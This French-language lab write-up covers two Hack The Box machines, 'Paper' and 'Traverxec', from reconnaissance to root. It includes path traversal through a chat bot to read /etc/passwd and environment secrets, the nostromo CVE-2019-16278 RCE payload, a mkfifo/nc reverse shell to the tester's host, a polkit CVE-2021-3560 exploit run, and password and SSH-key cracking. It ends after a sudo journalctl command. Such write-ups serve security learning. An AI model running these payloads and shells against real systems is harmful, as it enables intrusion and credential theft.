Machine name	OS	IP	Difficulty
Paper	Linux	10.10.11.143	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -An -p- -vvv -T4 10.10.11.143
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 06:38 EST
...
...
Nmap scan report for 10.10.11.143
Host is up, received echo-reply ttl 63 (0.018s latency).
Scanned at 2025-01-24 06:38:11 EST for 35s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcZzzauRoUMdyj6UcbrSejflBMRBeAdjYb2Fkpkn55uduA3qShJ5SP33uotPwllc3wESbYzlB9bGJVjeGA2l+G99r24cqvAsqBl0bLStal3RiXtjI/ws1E3bHW1+U35bzlInU7AVC9HUW6IbAq+VNlbXLrzBCbIO+l3281i3Q4Y2pzpHm5OlM2mZQ8EGMrWxD4dPFFK0D4jCAKUMMcoro3Z/U7Wpdy+xmDfui3iu9UqAxlu4XcdYJr7Iijfkl62jTNFiltbym1AxcIpgyS2QX1xjFlXId7UrJOJo3c7a0F+B3XaBK5iQjpUfPmh7RLlt6CZklzBZ8wsmHakWpysfXN
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE/Xwcq0Gc4YEeRtN3QLduvk/5lezmamLm9PNgrhWDyNfPwAXpHiu7H9urKOhtw9SghxtMM2vMIQAUh/RFYgrxg=
| 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKdmmhk1vKOrAmcXMPh0XRA5zbzUHt1JBbbWwQpI4pEX
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| tls-alpn:
|_ http/1.1
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US/emailAddress=root@localhost.localdomain
| Subject Alternative Name: DNS:localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US/emailAddress=root@localhost.localdomain/organizationalUnitName=ca-3899279223185377061
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-03T08:52:34
| Not valid after: 2022-07-08T10:32:34
| MD5: 579a:92bd:803c:ac47:d49c:5add:e44e:4f84
| SHA-1: 61a2:301f:9e5c:2603:a643:00b5:e5da:5fd5:c175:f3a9
| -----BEGIN CERTIFICATE-----
| MIIE4DCCAsigAwIBAgIIdryw6eirdUUwDQYJKoZIhvcNAQELBQAwgY8xCzAJBgNV
| BAYTAlVTMRQwEgYDVQQKDAtVbnNwZWNpZmllZDEfMB0GA1UECwwWY2EtMzg5OTI3
| mh/ptg==
|_-----END CERTIFICATE-----
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_ssl-date: TLS randomness does not represent time

Foothold

office.paper

En utilisant burp, on observe une réponse HTTP avec le header “Backend-server: office.paper”. En l’ajoutant a /etc/hosts, on accède à une nouvelle page web.

dirsearch

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


 gobuster dir -u http://office.paper -t 50 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://office.paper
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 199]
/.htpasswd (Status: 403) [Size: 199]
/.hta (Status: 403) [Size: 199]
/cgi-bin/ (Status: 403) [Size: 199]
/manual (Status: 301) [Size: 235] [--> http://office.paper/manual/]
/index.php (Status: 301) [Size: 1] [--> http://office.paper/]
/wp-admin (Status: 301) [Size: 237] [--> http://office.paper/wp-admin/]
/wp-content (Status: 301) [Size: 239] [--> http://office.paper/wp-content/]
/wp-includes (Status: 301) [Size: 240] [--> http://office.paper/wp-includes/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

wordpress

On observe avec dirsearch une page de login wordpress –> /wp-admin

wp-scan

On observe : WordPress version 5.2.3 identified (Insecure, released on 2019-09-04).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73


$ wpscan --url http://office.paper
_______________________________________________________________
 __ _______ _____
 \ \  / / __ \ / ____|
 \ \  /\  / /| |__) | (___ ___ __ _ _ __ ®
 \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
 \ /\ / | | ____) | (__| (_| | | | |
 \/ \/ |_| |_____/ \___|\__,_|_| |_|

 WordPress Security Scanner by the WPScan Team
 Version 3.8.27
 Sponsored by Automattic - https://automattic.com/
 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://office.paper/ [10.10.11.143]
[+] Started: Thu Jan 30 10:22:59 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 | - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
 | - X-Powered-By: PHP/7.2.24
 | - X-Backend-Server: office.paper
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://office.paper/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-04).
 | Found By: Rss Generator (Passive Detection)
 | - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 | - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>

[+] WordPress theme in use: construction-techup
 | Location: http://office.paper/wp-content/themes/construction-techup/
 | Last Updated: 2022-09-22T00:00:00.000Z
 | Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1
 | Style Name: Construction Techup
 | Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a...
 | Author: wptexture
 | Author URI: https://testerwp.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 | - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <====================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Jan 30 10:23:06 2025
[+] Requests Done: 169
[+] Cached Requests: 5
[+] Data Sent: 42.416 KB
[+] Data Received: 167.972 KB
[+] Memory used: 280.184 MB
[+] Elapsed time: 00:00:07

Viewing unauthenticated posts.md

http://office.paper/?static=1&order=desc

Permet d’afficher des messages cachés normalement non accessible. C’est une vulnerabilité de wordpress 5.2.3 :

Vuln: Wordpress <=5.2.3: viewing unauthenticated posts.md

On trouve le message suivant qui semble intéressant :

1
2


## Secret Registration URL of new Employee chat system
http://chat.office.paper/register/8qozr226AhkCHZdyY

On arrive sur une page, où l’on peut créer un compte rapidement et on obtient l’accès à une sorte de discord avec un chat: L’application RocketChat.

RocketChat bot

En fouillant on voit qu’il existe un profil avec un bot, on peut discuter avec lui. Avec la commande help on voit une commande qui permet d’afficher des fichiers. Cette commande fait appelle à cat pour afficher n’importe quel fichier. On peut utiliser cette commande comme une LFI pour afficher le contenu de n’importe quel fichier :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


recyclops file test.txt

cat: /home/dwight/sales/test.txt: No such file or directory

recyclops file ../../../etc/passwd

 <!=====Contents of file ../../../etc/passwd=====>
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
systemd-coredump❌999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve❌193:193:systemd Resolver:/:/sbin/nologin
tss❌59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd❌998:996:User for polkitd:/:/sbin/nologin
geoclue❌997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin
qemu❌107:107:qemu user:/:/sbin/nologin
apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-ws❌996:993:User for cockpit-ws:/:/sbin/nologin
pulse❌171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
usbmuxd❌113:113:usbmuxd user:/:/sbin/nologin
unbound❌995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster❌994:989:GlusterFS daemons:/run/gluster:/sbin/nologin
chrony❌993:987::/var/lib/chrony:/sbin/nologin
libstoragemgmt❌992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth❌991:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq❌985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd❌75:75:radvd user:/:/sbin/nologin
clevis❌984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
pegasus❌66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
sssd❌983:981:User for sssd:/:/sbin/nologin
colord❌982:980:User for colord:/var/lib/colord:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin
pipewire❌980:978:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin
gdm❌42:42::/var/lib/gdm:/sbin/nologin
gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin
insights❌978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
avahi❌70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
mysql❌27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
nginx❌977:975:Nginx web server:/var/lib/nginx:/sbin/nologin
mongod❌976:974:mongod:/var/lib/mongo:/bin/false
rocketchat❌1001:1001::/home/rocketchat:/bin/bash
dwight❌1004:1004::/home/dwight:/bin/bash
<!=====End of file ../../../etc/passwd=====>

/proc/self/environ: Environment variables

On peut afficher les variables d’environnements (et d’autres infos) grâce aux fichiers présents dans /proc/self :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


recyclops file ../../../proc/self/cmdline
#################################################

Bot
7:05 PM
<!=====Contents of file ../../../proc/self/cmdline=====>
cat/home/dwight/sales/../../../proc/self/cmdline
<!=====End of file ../../../proc/self/cmdline=====>

recyclops file ../../../proc/self/environ
#################################################

Bot
7:07 PM
<!=====Contents of file ../../../proc/self/environ=====>
RESPOND_TO_EDITED=trueROCKETCHAT_USER=recyclopsLANG=en_US.UTF-8OLDPWD=/home/dwight/hubotROCKETCHAT_URL=http://127.0.0.1:48320ROCKETCHAT_USESSL=falseXDG_SESSION_ID=1USER=dwightRESPOND_TO_DM=truePWD=/home/dwight/hubotHOME=/home/dwightPORT=8000ROCKETCHAT_PASSWORD=Queenofblad3s!23SHELL=/bin/shSHLVL=4BIND_ADDRESS=127.0.0.1LOGNAME=dwightDBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1004/busXDG_RUNTIME_DIR=/run/user/1004PATH=/home/dwight/hubot/node_modules/coffeescript/bin:node_modules/.bin:node_modules/hubot/node_modules/.bin:/usr/bin:/bin_=/usr/bin/cat
<!=====End of file ../../../proc/self/environ=====>

On obtient les creds de rocketchat sur la plateforme rocket.chat rocketchat : Queenofblad3s!23

Après vérification, on ne peut pas se connecter en ssh avec cet utilisateur et ce mot de passe. Les creds marchent sur la plateforme web mais un message nous indique qu’il est interdit de se connecter à l’interface web avec un bot.

SSH : dwight

Le mot de passe de rocketchat fonctionne pour l’utilisateur dwight en ssh: dwight : Queenofblad3s!23

1
2
3
4
5
6
7
8
9


ssh dwight@office.paper
dwight@office.paper's password:
Activate the web console with: systemctl enable --now cockpit.socket

Last failed login: Thu Jan 30 18:24:37 EST 2025 from 10.10.14.42 on ssh:notty
There were 3 failed login attempts since the last successful login.
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ cat user.txt
4419.....697b

Privilege Escalation

CVE-2021-3560 : polkit

Avec linpeas, on trouve une elevation de privilege grâce à une faille dans l’outil polkit, CVE-2021-3560

1
2
3
4


./linpeas.sh
...
Vulnerable to CVE-2021-3560
...

On trouve un poc sur github avec un script .sh : https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation

Au début il ne fonctionne pas, le mot de passe du nouveau user crée doit etre équivalent a l’actuel mais ça n’était pas le cas. En précisant le parametre -p=a, l’exploit fonctionne, pas de problème. (Je précise car j’ai abandonné cette CVE à cause de ça… Je pensais que ce n’était pas la solution de la boxe.)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


[dwight@paper ~]$ ./exploit.sh -p=a
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - secnigma
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
[dwight@paper ~]$ su - secnigma
Password:
[secnigma@paper ~]$ whoami
secnigma
[secnigma@paper ~]$ sudo bash
[sudo] password for secnigma:
[root@paper secnigma]# cat /root/root.txt 
ccbf.....2804

HTB | Traverxec

Thu, 23 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Traverxec	Linux	10.10.10.165	Easy

Users

david : Nowonly4me

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -An -T4 -vvv 10.10.10.165
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVWo6eEhBKO19Owd6sVIAFVCJjQqSL4g16oI/DoFwUo+ubJyyIeTRagQNE91YdCrENXF2qBs2yFj2fqfRZy9iqGB09VOZt6i8oalpbmFwkBDtCdHoIAZbaZFKAl+m1UBell2v0xUhAy37Wl9BjoUU3EQBVF5QJNQqvb/mSqHsi5TAJcMtCpWKA4So3pwZcTatSu5x/RYdKzzo9fWSS6hjO4/hdJ4BM6eyKQxa29vl/ea1PvcHPY5EDTRX5RtraV9HAT7w2zIZH5W6i3BQvMGEckrrvVTZ6Ge3Gjx00ORLBdoVyqQeXQzIJ/vuDuJOH2G6E/AHDsw3n5yFNMKeCvNNL
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLpsS/IDFr0gxOgk9GkAT0G4vhnRdtvoL8iem2q8yoRCatUIib1nkp5ViHvLEgL6e3AnzUJGFLI3TFz+CInilq4=
| 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJ16OMR0bxc/4SAEl1yiyEUxC3i/dFH7ftnCU7+P+3s
80/tcp open http syn-ack nostromo 1.9.6
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-title: TRAVERXEC

Foothold

cve2019-16278 - RCE

Detail: Directory Traversal in the function http_verify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request. On peut se balader dans le PATH avec des “../” jusqu’a atteindre le binaire “/bin/sh” et executer n’importe quelle commande.

L’exploit est défini comme suit:

1
2
3
4
5
6
7


def cve(target, port, cmd):
 soc = socket.socket()
 soc.connect((target, int(port)))
 payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
 soc.send(payload)
 receive = connect(soc)
 print(receive)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


┌──(kali㉿kali)-[~/htb/Traverxec]
└─$ python2 47837.py 10.10.10.165 80 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.6 1337 >/tmp/f"


 _____-2019-16278
 _____ _______ ______ _____\  _____\  \_\  | | | / / | |
 / /| || / / /|/ / /___/|
 / / /____/||\  \  \  |/| |__ |___|/
| | |____|/ \ \  \ | | | | | _____ \| \| | | __/ __
|\  \|\  \  |\  /| |\  \  / | \_____\| | | \_______/ | | \____\/ |
| | /____/| \ | | / | | |____/|
 \|_____| || \|_____|/ \|____| | |
 |____|/ |___|/


--------------------------------------

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.165] 57934
bash: cannot set terminal process group (444): Inappropriate ioctl for device
bash: no job control in this shell
www-data@traverxec:/usr/bin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ export TERM=xterm
export TERM=xterm
www-data@traverxec:/usr/bin$ ^Z
zsh: suspended nc -lnvp 1337

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 1337

www-data@traverxec:/usr/bin$

david user infos - conf nostromo

En fouillant dans les dossier de l’application web “nostromo”, on trouve un fichier de configuration. Il nous indique un fichier d’authentification “/var/nostromo/conf/.htpasswd”. On y retrouve le mot de passe de l’utilisateur david :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
## MAIN [MANDATORY]

servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html

## LOGS [OPTIONAL]

logpid logs/nhttpd.pid

## SETUID [RECOMMENDED]

user www-data

## BASIC AUTHENTICATION [OPTIONAL]

htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd

## ALIASES [OPTIONAL]

/icons /var/nostromo/icons

## HOMEDIRS [OPTIONAL]

homedirs /home
homedirs_public public_www
www-data@traverxec:/var/nostromo/conf$ cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

On utilise hashcat pour casser le mot de passe :

1
2


hashcat -m 500 hash.txt ~/wordlists/rockyou.txt -O -w 3 --show
$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/:Nowonly4me

Credentials de david ? david : Nowonly4me ?

Il semble qu’un dossier de david est accessible, comme préciser dans la configuration de nostromo “public_www”. On y découvre une archive .tgz du nom de “backup-ssh-identity-files.tgz”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


www-data@traverxec:/home/david$ cd public_www
www-data@traverxec:/home/david/public_www$ ls
index.html protected-file-area
www-data@traverxec:/home/david/public_www$ cd protected-file-area/
www-data@traverxec:/home/david/public_www/protected-file-area$ ls
backup-ssh-identity-files.tgz
...
cd /tmp
tar -xvfz ...
...
www-data@traverxec:/tmp/home/david/.ssh$ ls
authorized_keys id_rsa id_rsa.pub

On trouve une paire de clés SSH.

ssh2john - cracking ssh key file

On trouve le mot de passe de la clé ssh. Password: hunter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


┌──(kali㉿kali)-[~/htb/Traverxec]
└─$ ssh2john ./id_rsa
./id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0

┌──(kali㉿kali)-[~/htb/Traverxec]
└─$ vim a

┌──(kali㉿kali)-[~/htb/Traverxec]
└─$ john a --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (?)
1g 0:00:00:00 DONE (2025-01-22 09:34) 20.00g/s 2880p/s 2880c/s 2880C/s carolina..sandra
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

David access - user flag

1
2
3
4
5
6


┌──(kali㉿kali)-[~/htb/Traverxec]
└─$ ssh david@traverxec.htb -i id_rsa
Enter passphrase for key 'id_rsa': hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$ whoami
david

Bonus: delete password on ssh key

1
2
3
4
5
6


┌──(kali㉿kali)-[~/htb/Traverxec]
└─$ ssh-keygen -p -f ./id_rsa
Enter old passphrase: hunter
Enter new passphrase (empty for no passphrase): (empty)
Enter same passphrase again: (empty)
Your identification has been saved with the new passphrase.

Privilege Escalation

server-stats.sh

Dans le script server-stats.sh on observe une commande qui peut etre executé en tant que root sans mot de passe pour david. Cela utilise le binaire journalctl pour afficher des logs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

exploit journalctl (gtfobins)

Sur gtfobins on trouve un moyen d’exploiter ce binaire. En effet, journalctl utilise “less” pour afficher les données. Or less peut etre exploiter, en marquant “!/bin/sh” on peut ouvrir un shell a l’interieur du programme, ce qui nous donne un accès root. CEPENDANT !! Quand je suis connecté en ssh a david, la commande journalctl n’executait pas avec less. Ou alors le less se stoppait instantanément, donc imporssible de faire l’exploit…

Après vérification de la solution, en se connectant en ssh depuis le shell obtenu avec le user www-data, less est bien executé… Et on peut faire l’exploit. Je pense qu’il s’agit d’un probleme dans l’environnement du shell utiliser qui doit etre différent. Au niveau des variables qui permette le pagineur utilisé par journalctl.

https://gtfobins.github.io/gtfobins/journalctl/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
